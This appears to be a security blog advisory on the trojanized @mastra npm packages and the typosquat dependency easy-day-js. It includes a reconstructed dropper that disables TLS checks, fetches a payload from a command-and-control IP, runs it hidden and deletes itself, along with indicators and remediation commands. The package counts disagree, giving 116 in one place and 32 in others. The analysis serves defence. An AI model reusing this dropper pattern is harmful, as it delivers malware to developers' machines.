By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

Mastra npm Org Compromised: Multiple Packages Trojanized to Drop a Remote Payload via easy-day-js

A single hijacked maintainer account pushed multiple trojanized packages across the entire @mastra scope in 27 minutes, each carrying a typosquat dependency that runs a remote payload on install. Combined reach is over 28 million downloads a month.

Written by
Peyton Kennedy
Peyton Kennedy
Published on
June 17, 2026
Updated on
June 16, 2026
Topics

TL;DR

An attacker took over the account of a Mastra maintainer and used it to tamper with the project at scale. Over a 27-minute window, they republished the entire @mastra catalog. They left Mastra's own code alone. In each package they changed a single line, adding a hidden link to a counterfeit component named easy-day-js, a lookalike of a widely used tool called dayjs.

Mastra is an open-source toolkit that software developers use to build AI applications and agents. It comes from the team behind Gatsby and is widely adopted: the project's components are downloaded more than 28 million times a month by teams building on top of it. Like most modern software, Mastra is shipped as a set of small, reusable building blocks that other programs pull in automatically. That reach is what made one stolen account so dangerous.

easy-day-js is a typosquat. It impersonates dayjs down to the description and the bundled dayjs.min.js, but adds a postinstall hook that runs a dropper. On install, the dropper disables TLS certificate validation, fetches a second-stage payload from a raw IP address, writes it to the temp directory, runs it as a detached and hidden child process, and deletes itself.

Three things stand out about this incident:

  • The whole org went at once. This was not one package. It was a scripted sweep of 116 packages in under half an hour, ordered roughly by download count, which points to a hijacked account with publish rights across the entire scope rather than a single rogue release.
  • The carrier packages are clean; the payload is one level down. Every Mastra package is an unmodified library with a single poisoned dependency line. Scanners that only inspect the named package's own code will not see anything wrong. The malicious behavior lives in easy-day-js, and in most of the packages that dependency is never even imported.
  • A pre-staged decoy dependency. easy-day-js@1.11.21 was published a day earlier with no install hook, a clean decoy. The weaponized 1.11.22 landed at 01:01 UTC, eleven minutes before the Mastra sweep began.

Affected packages

All versions below are malicious and were published 2026-06-17. Pin to the last provenance-backed release of each and treat these specific versions as compromised.

Package Malicious version Published (UTC) Downloads/month
@mastra/schema-compat 1.2.12 1:12 5,279,923
@mastra/core 1.42.1 1:15 4,013,267
mastra 1.13.1 1:20 2,139,510
@mastra/memory 1.20.4 1:16 2,057,689
@mastra/server 2.1.1 1:17 1,864,647
@mastra/deployer 1.42.1 1:19 1,858,620
@mastra/observability 1.14.2 1:18 1,695,048
@mastra/loggers 1.1.3 1:18 1,672,903
@mastra/pg 1.13.1 1:25 1,361,195
@mastra/mcp 1.10.1 1:25 1,203,924
@mastra/ai-sdk 1.4.6 1:27 1,069,650
@mastra/libsql 1.13.1 1:26 977,312
@mastra/langfuse 1.3.6 1:29 617,580
@mastra/evals 1.3.1 1:29 476,879
@mastra/rag 2.2.2 1:30 307,033
@mastra/datadog 1.2.5 1:30 253,586
@mastra/duckdb 1.4.3 1:32 222,862
@mastra/braintrust 1.1.4 1:33 187,050
@mastra/dynamodb 1.0.9 1:31 160,266
@mastra/hono 1.4.26 1:32 152,792
@mastra/otel-bridge 1.2.3 1:33 132,788
@mastra/editor 0.11.3 1:34 128,885
@mastra/langsmith 1.2.4 1:34 120,459
@mastra/mcp-docs-server 1.1.47 1:37 97,609
@mastra/mongodb 1.9.3 1:35 92,100
@mastra/posthog 1.0.29 1:36 90,917
@mastra/fastembed 1.1.3 1:39 77,220
@mastra/s3 0.5.3 1:38 64,299
@mastra/sentry 1.1.4 1:35 63,793
@mastra/fastify 1.3.31 1:39 61,020
@mastra/auth 1.0.3 1:38 59,979
@mastra/inngest 1.5.2 1:39 51,427
@mastra/acp 0.2.2 1:55 not separately reported
@mastra/agent-browser 0.3.2 1:42 not separately reported
@mastra/agent-builder 1.0.42 1:59 not separately reported
@mastra/agentcore 0.2.2 2:23 not separately reported
@mastra/agentfs 0.1.1 2:17 not separately reported
@mastra/arize 1.2.3 1:44 not separately reported
@mastra/arthur 0.3.3 2:22 not separately reported
@mastra/astra 1.0.2 2:06 not separately reported
@mastra/auth-auth0 1.0.2 1:54 not separately reported
@mastra/auth-better-auth 1.0.4 1:45 not separately reported
@mastra/auth-clerk 1.0.3 1:46 not separately reported
@mastra/auth-cloud 1.1.4 2:08 not separately reported
@mastra/auth-firebase 1.0.1 2:20 not separately reported
@mastra/auth-okta 0.0.5 2:18 not separately reported
@mastra/auth-studio 1.2.4 2:16 not separately reported
@mastra/auth-supabase 1.0.2 1:47 not separately reported
@mastra/auth-workos 1.5.3 1:55 not separately reported
@mastra/azure 0.2.3 2:18 not separately reported
@mastra/blaxel 0.4.2 1:57 not separately reported
@mastra/brightdata 0.2.2 2:19 not separately reported
@mastra/browser-viewer 0.1.3 2:15 not separately reported
@mastra/chroma 1.0.2 1:45 not separately reported
@mastra/claude 1.0.3 2:02 not separately reported
@mastra/clickhouse 1.10.1 1:37 not separately reported
@mastra/client-js 1.24.1 1:26 not separately reported
@mastra/cloudflare 1.4.2 1:55 not separately reported
@mastra/cloudflare-d1 1.0.7 1:50 not separately reported
@mastra/codemod 1.0.4 2:23 not separately reported
@mastra/convex 1.2.2 1:46 not separately reported
@mastra/couchbase 1.0.4 1:58 not separately reported
@mastra/cursor 0.2.1 2:04 not separately reported
@mastra/daytona 0.4.2 1:41 not separately reported
@mastra/deployer-cloud 1.42.1 2:05 not separately reported
@mastra/deployer-cloudflare 1.1.44 1:47 not separately reported
@mastra/deployer-netlify 1.1.20 2:02 not separately reported
@mastra/deployer-vercel 1.1.38 1:41 not separately reported
@mastra/docker 0.3.1 1:53 not separately reported
@mastra/dsql 1.0.3 1:57 not separately reported
@mastra/e2b 0.3.4 1:44 not separately reported
@mastra/elasticsearch 1.2.1 2:20 not separately reported
@mastra/express 1.3.31 1:31 not separately reported
@mastra/files-sdk 0.2.1 2:06 not separately reported
@mastra/gcs 0.2.3 1:48 not separately reported
@mastra/github-signals 0.1.2 2:07 not separately reported
@mastra/google-cloud-pubsub 1.0.6 2:03 not separately reported
@mastra/google-drive 0.1.1 2:21 not separately reported
@mastra/koa 1.5.14 2:00 not separately reported
@mastra/laminar 1.2.3 2:09 not separately reported
@mastra/lance 1.0.7 2:04 not separately reported
@mastra/longmemeval 1.0.50 1:54 not separately reported
@mastra/mcp-registry-registry 1.0.2 2:00 not separately reported
@mastra/mssql 1.3.2 1:56 not separately reported
@mastra/mysql 0.1.1 2:21 not separately reported
@mastra/nestjs 0.1.15 1:51 not separately reported
@mastra/openai 1.0.2 2:05 not separately reported
@mastra/opencode 0.0.47 2:17 not separately reported
@mastra/opensearch 1.0.3 2:04 not separately reported
@mastra/otel-exporter 1.2.3 1:28 not separately reported
@mastra/perplexity 0.1.1 2:24 not separately reported
@mastra/pinecone 1.0.2 1:52 not separately reported
@mastra/playground-ui 33.0.1 1:49 not separately reported
@mastra/qdrant 1.0.3 1:46 not separately reported
@mastra/react 1.0.1 1:42 not separately reported
@mastra/redis 1.1.3 1:48 not separately reported
@mastra/redis-streams 0.0.4 2:03 not separately reported
@mastra/s3vectors 1.0.7 1:50 not separately reported
@mastra/slack 1.3.1 2:19 not separately reported
@mastra/spanner 1.1.2 2:22 not separately reported
@mastra/stagehand 0.2.5 1:40 not separately reported
@mastra/tavily 1.0.3 1:45 not separately reported
@mastra/temporal 0.1.14 1:53 not separately reported
@mastra/turbopuffer 1.0.3 1:52 not separately reported
@mastra/twilio 1.0.2 2:16 not separately reported
@mastra/upstash 1.1.3 1:43 not separately reported
@mastra/vectorize 1.0.3 1:58 not separately reported
@mastra/voice-aws-nova-sonic 0.1.4 2:01 not separately reported
@mastra/voice-azure 0.11.2 2:23 not separately reported
@mastra/voice-deepgram 0.12.2 1:53 not separately reported
@mastra/voice-elevenlabs 0.12.2 1:51 not separately reported
@mastra/voice-google 0.12.3 1:51 not separately reported
@mastra/voice-google-gemini-live 0.12.2 1:43 not separately reported
@mastra/voice-openai 0.12.3 1:42 not separately reported
@mastra/voice-openai-realtime 0.12.6 1:40 not separately reported
create-mastra 1.13.1 1:56 not separately reported

The dropper dependency:

Package Version Role
easy-day-js 1.11.21 Clean decoy, no install hook, published 2026-06-16
easy-day-js 1.11.22 Weaponized, postinstall dropper, published 2026-06-17 01:01 UTC

Timeline

Time (UTC) Event
2026-06-16 07:05 easy-day-js@1.11.21 published, a clean decoy with no install hook
2026-06-17 01:01 easy-day-js@1.11.22 published, carrying the postinstall dropper
2026-06-17 01:12 First Mastra package republished (@mastra/schema-compat)
2026-06-17 01:12 to 01:39 32 Mastra packages republished by ehindero, no provenance

Technical analysis

The carrier pattern

We pulled and inspected the published tarballs without installing them. Every affected Mastra package shows the same single change: a new line in package.json declaring "easy-day-js": "^1.11.21". In the packages we examined, the dependency is not imported or referenced anywhere in the package source. It does no work for the library. Its only function is to be resolved and installed, which is enough to fire the dropper's postinstall hook.

This is why the Mastra packages themselves are not malicious in the usual sense. They are carriers. The malware is one dependency level down, and the lockfile constraint ^1.11.21 resolves to the weaponized 1.11.22.

Every release also dropped the SLSA provenance attestation that the project's GitHub Actions pipeline normally produces, and several tripped a metadata masquerade check because the declared mastra-ai/mastra repository does not vouch for the published artifact. Both are consistent with a manual publish from outside the project's CI, using credentials with org-wide publish rights.

easy-day-js: the disguise

easy-day-js is built to pass a glance. It copies the dayjs description ("2KB immutable date time library alternative to Moment.js"), ships the real dayjs.min.js as its main entry, and includes the full dayjs locale and plugin tree. We confirmed the bundled dayjs.min.js is byte-identical between the decoy 1.11.21 and the weaponized 1.11.22. The only meaningful difference between the two versions is a single added file, setup.cjs, and a single added line in package.json:

"scripts": {

  "postinstall": "node setup.cjs --no-warnings"

}

The dropper

setup.cjs is a 4.5 KB obfuscator.io-style script: a rotated string array behind a base64 decoder. We deobfuscated it statically in a sandbox, cracking the array rotation and resolving the string references. The operational literals are embedded directly in the install-time routine and are unambiguous. Reconstructed, it does the following:

// 1. Disable TLS certificate validation for the whole process

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {

  try {

    const c2 = 'https://23.254.164.92:8000/update/49890878';

    // 2. Drop marker files in the home/temp dir

    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');

    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);

    // 3. Fetch the second-stage payload over the now-unverified TLS connection

    const payload = await (await fetch(c2, { method: 'GET' })).text();

    // 4. Write it to a random filename in the working dir

    const name = crypto.randomBytes(12).toString('hex') + '.js';

    const dest = path.join(os.homedir(), name);

    fs.writeFileSync(dest, payload, 'utf-8');

    // 5. Run it as a detached, hidden child process that outlives the install

    child_process.spawn(process.execPath, [dest, token], {

      cwd: os.homedir(),

      detached: true,

      stdio: 'ignore',

      windowsHide: true

    }).unref();

  } catch {}

  finally {

    // 6. Delete this dropper to remove evidence

    fs.rmSync(__filename, { force: true });

  }

})();

The sequence is deliberate. Disabling NODE_TLS_REJECT_UNAUTHORIZED lets the dropper talk to a bare IP on port 8000 with no valid certificate. The payload is never written to disk in the package itself, only fetched at install time, so the published artifact stays small and clean-looking. detached: true plus .unref() means the spawned process keeps running after npm install returns, and windowsHide: true keeps it off-screen on Windows. The finally block removes setup.cjs so a post-install inspection of node_modules finds nothing.

Indicators worth noting

The deobfuscated strings surfaced a second endpoint on the same host range, 23.254.164.123:443, alongside the primary 23.254.164.92:8000. Both should be blocked. The dropper also leaves two marker files, .pkg_history (containing the install path) and .pkg_logs, which are useful for hunting. As of time of analysis, the initial /update/49890878 payload was no longer reachable and returned a not found from the webserver.

Indicators of compromise

Package indicators

All 32 Mastra versions in the table above, plus:

Indicator Notes
easy-day-js@1.11.22 Weaponized dropper
easy-day-js@1.11.21 Clean decoy, still attacker-controlled, should be blocked
Publisher ehindero / ehindero2016@tutamail.com Account used for every malicious publish
Any @mastra/* or mastra version published 2026-06-17 without SLSA provenance Manual publish outside CI

Network indicators

Indicator Notes
https://23.254.164.92:8000/update/49890878 Second-stage payload URL
23.254.164.123:443 Secondary endpoint on the same /24

File and behavioral indicators

Indicator Notes
~/.pkg_history Marker file containing the install path
~/.pkg_logs Marker file dropped by the hook
Random <24-hex>.js file in the home dir The fetched second stage
node setup.cjs running during npm install The dropper
NODE_TLS_REJECT_UNAUTHORIZED=0 set by an install script TLS validation disabled
Detached node child process spawned during install The running payload

Code markers

Marker Notes
"postinstall": "node setup.cjs --no-warnings" In easy-day-js@1.11.22
process.env.NODE_TLS_REJECT_UNAUTHORIZED='0' In setup.cjs
Buffer.from(... ); ... spawn(process.execPath, ...).unref() Detached payload launch
fs.rmSync(__filename, { force: true }) Self-delete in the finally block

Remediation

Check your exposure

# Is any affected package or the dropper in your tree?

npm ls easy-day-js

grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

# Look for the dropped artifacts on hosts and CI runners

ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null

find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null

Pin every Mastra dependency to the last version published via GitHub Actions with provenance, and add easy-day-js to your registry blocklist.

If you installed an affected version

Treat the host as compromised. The dropper disabled TLS validation in-process and launched a detached child whose contents were fetched at runtime, so the install hook is not the whole story.

  • Rotate every credential reachable from the affected host or CI runner: cloud keys, registry tokens, CI secrets, and anything in environment variables the build could read.
  • Hunt for and kill any detached node process spawned around install time, and remove the random .js file from the home directory.
  • Block outbound traffic to 23.254.164.92 and 23.254.164.123 and review egress logs for connections to either since 01:12 UTC on 2026-06-17.

Longer term

  • Disable install scripts by default. npm install --ignore-scripts blocks postinstall and neutralizes this entire class of dependency-trojan.
  • Enforce provenance. Requiring SLSA provenance on first-party dependencies would have flagged every one of these releases, since all 32 dropped it.
  • Pin with integrity hashes and review dependency additions. A new, unused dependency added to a mature package is a strong signal. Here, a single added line in package.json was the entire compromise.